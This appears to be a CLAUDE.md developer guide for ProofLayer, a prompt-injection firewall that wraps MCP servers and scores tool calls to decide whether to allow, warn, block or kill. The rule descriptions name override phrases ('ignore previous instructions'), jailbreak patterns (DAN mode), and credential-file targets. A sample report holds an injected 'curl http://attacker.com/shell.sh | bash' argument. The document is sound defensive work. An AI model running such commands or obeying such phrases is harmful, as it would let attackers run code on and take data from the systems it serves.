Skip to content

Latest commit

 

History

History
216 lines (176 loc) · 7.37 KB

File metadata and controls

216 lines (176 loc) · 7.37 KB

CLAUDE.md

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

Project Overview

ProofLayer Runtime Security is a runtime prompt injection firewall for MCP (Model Context Protocol) servers. It wraps MCP servers with real-time threat detection and can ALLOW/WARN/BLOCK/KILL based on risk scores (0-100). Built for SUSE Multi-Linux Manager, NeuVector integration, and enterprise Kubernetes deployments.

Development Commands

Installation

# Install in development mode
pip install -e .

# Install with dev dependencies
pip install -e ".[dev]"

Running Examples

# Basic wrapped server example
python3 examples/basic/simple_wrapped_server.py

# Attack scenario tests
python3 examples/attack-scenarios/01_command_injection.py

Testing

# Run all tests
python3 -m pytest tests/ -v --tb=short

# Run with coverage
python3 -m pytest tests/ --cov=prooflayer --cov-report=term-missing

# Run specific test suites
python3 -m pytest tests/test_adversarial.py -v   # Adversarial bypass tests
python3 -m pytest tests/test_fuzzing.py -v        # Fuzz-like random input tests
python3 -m pytest tests/test_integration.py -v    # End-to-end integration tests

Code Quality

# Format code
black prooflayer/

# Type checking
mypy prooflayer/

Architecture

Core Components

ProofLayerRuntime (prooflayer/runtime/wrapper.py)

  • Main entry point for wrapping MCP servers
  • Coordinates detection engine, response actions, and reporting
  • Wraps MCP server's call_tool method to intercept all tool calls

DetectionEngine (prooflayer/detection/engine.py)

  • Scans MCP tool calls for threats across 4 YAML categories (45 rules) plus inline heuristics
  • Pattern matching using regex from YAML rule files
  • Additional scoring from: shell metacharacters, entropy analysis, semantic analysis
  • Returns: risk score (0-100) and list of matched rules

ResponseAction (prooflayer/response/actions.py)

  • Decides action based on risk score thresholds
  • Actions: ALLOW (0-29), WARN (30-69), BLOCK (70-89), KILL (90-100)
  • KILL action terminates the MCP server process via SIGTERM/SIGKILL

SecurityReporter (prooflayer/reporting/reporter.py)

  • Generates JSON security reports in ./security-reports/
  • Reports include: threat type, tool name, arguments, risk score, matched rules, action taken

Detection Rules

Rules are stored in YAML files under prooflayer/rules/:

  • command-injection.yaml - Shell metacharacters, dangerous commands (curl, wget, bash, nc), command substitution
  • prompt-injection.yaml - "Ignore previous instructions", "disregard system prompt", etc.
  • jailbreaks.yaml - DAN mode, developer mode, "act as" role manipulation
  • data-exfiltration.yaml - File access patterns (/etc/passwd, .ssh/, .env), base64 encoding, network exfiltration

Each rule has:

  • id: Unique identifier
  • severity: critical, high, medium, low
  • message: Description of what was detected
  • pattern: Regex pattern to match
  • score: Risk score contribution (0-30)
  • category: Detection category

Wrapping Flow

  1. User creates ProofLayerRuntime with configuration
  2. runtime.wrap(mcp_server) returns ProtectedMCPServer
  3. ProtectedMCPServer._wrap_tool_handlers() intercepts mcp_server.call_tool()
  4. On each tool call:
    • DetectionEngine scans arguments
    • ResponseAction determines action from risk score
    • If BLOCK/KILL: generate security report, raise SecurityError/SecurityViolation
    • If WARN: log warning, generate report
    • If ALLOW: pass through to original tool
  5. Original tool executes (if allowed)

Scoring System

Risk score accumulation:

  • Each matched rule: +5 to +30 points
  • Shell metacharacters (;, |, &&, etc.): +10 each
  • High entropy (> 4.5 Shannon entropy): +20
  • Semantic mismatches (URLs in hostname params, commands in ID params): +15-20
  • Total capped at 100

Score thresholds (configurable in prooflayer.yaml):

  • ALLOW: 0-29
  • WARN: 30-69
  • BLOCK: 70-89
  • KILL: 90-100 (only if action_on_threat: "kill")

Configuration

Configuration via prooflayer.yaml:

detection:
  enabled: true
  rules_dir: ./prooflayer/rules  # Or use packaged rules (default)
  score_threshold:
    allow: [0, 29]
    warn: [30, 69]
    block: [70, 100]

response:
  on_threat: warn  # allow, warn, block, kill
  report_dir: ./security-reports
  alert_webhook: null

performance:
  max_latency_ms: 10
  cache_rules: true

logging:
  level: INFO
  format: json

Load config via:

runtime = ProofLayerRuntime(config_path="prooflayer.yaml")

Or pass parameters directly:

runtime = ProofLayerRuntime(
    action_on_threat="kill",
    report_dir="./security-reports",
    score_threshold={
        "allow": (0, 29),
        "warn": (30, 69),
        "block": (70, 100)
    }
)

Key Files

  • prooflayer/__init__.py - Package exports (ProofLayerRuntime, DetectionEngine, ThreatAction, ResponseAction)
  • prooflayer/runtime/wrapper.py - Main runtime wrapper and ProtectedMCPServer
  • prooflayer/detection/engine.py - Core detection engine with scanning logic
  • prooflayer/detection/rules.py - RuleLoader for loading YAML rules
  • prooflayer/detection/models.py - DetectionRule data model
  • prooflayer/response/actions.py - ThreatAction enum and ResponseAction handler
  • prooflayer/reporting/reporter.py - SecurityReporter for JSON reports
  • prooflayer/config/loader.py - ConfigLoader for YAML config
  • prooflayer/utils/entropy.py - Shannon entropy calculation
  • prooflayer/detection/normalizer.py - Input normalization (unicode, encoding, whitespace)
  • prooflayer/config/allowlist.py - Allowlisting mechanism for known-safe tool calls
  • prooflayer/utils/masking.py - Secret masking for reports
  • tests/test_adversarial.py - Adversarial bypass tests (58 tests)
  • tests/test_fuzzing.py - Fuzz-like random input tests (28 tests)
  • tests/test_integration.py - End-to-end integration tests (26 tests)
  • .github/workflows/ci.yml - CI/CD pipeline (Python 3.9-3.12)
  • setup.py - Package installation configuration
  • pyproject.toml - pytest and coverage configuration
  • requirements.txt - Core dependency (pyyaml>=6.0.0)

Security Report Format

Reports are written to {report_dir}/threat-{timestamp}.json:

{
  "prooflayer_version": "0.1.0",
  "timestamp": "2026-02-25T10:30:45.123Z",
  "threat": {
    "type": "command_injection",
    "tool": "add_system",
    "arguments": {"hostname": "prod-db; curl http://attacker.com/shell.sh | bash"},
    "risk_score": 95,
    "action": "SERVER_KILLED"
  },
  "detection": {
    "rules_matched": ["cmd-inject-semicolon", "cmd-inject-curl", "cmd-inject-pipe"],
    "confidence": "HIGH"
  }
}

Important Notes

  • The system has a single external dependency: PyYAML
  • Detection latency target: low latency per tool call (benchmarks pending)
  • The ProtectedMCPServer wraps the original server's call_tool method by replacing it with a wrapper function
  • When action_on_threat="kill" and risk score ≥90, the server process terminates via os.kill(pid, signal.SIGTERM)
  • Emergency logs are written to /tmp/prooflayer-emergency.log on KILL action
  • Rules are loaded from packaged prooflayer/rules/*.yaml by default, or custom directory if specified
  • Inline rules in engine.py serve as fallback when YAML files unavailable
  • The system is designed to work with any MCP server that implements a call_tool(tool_name, arguments) method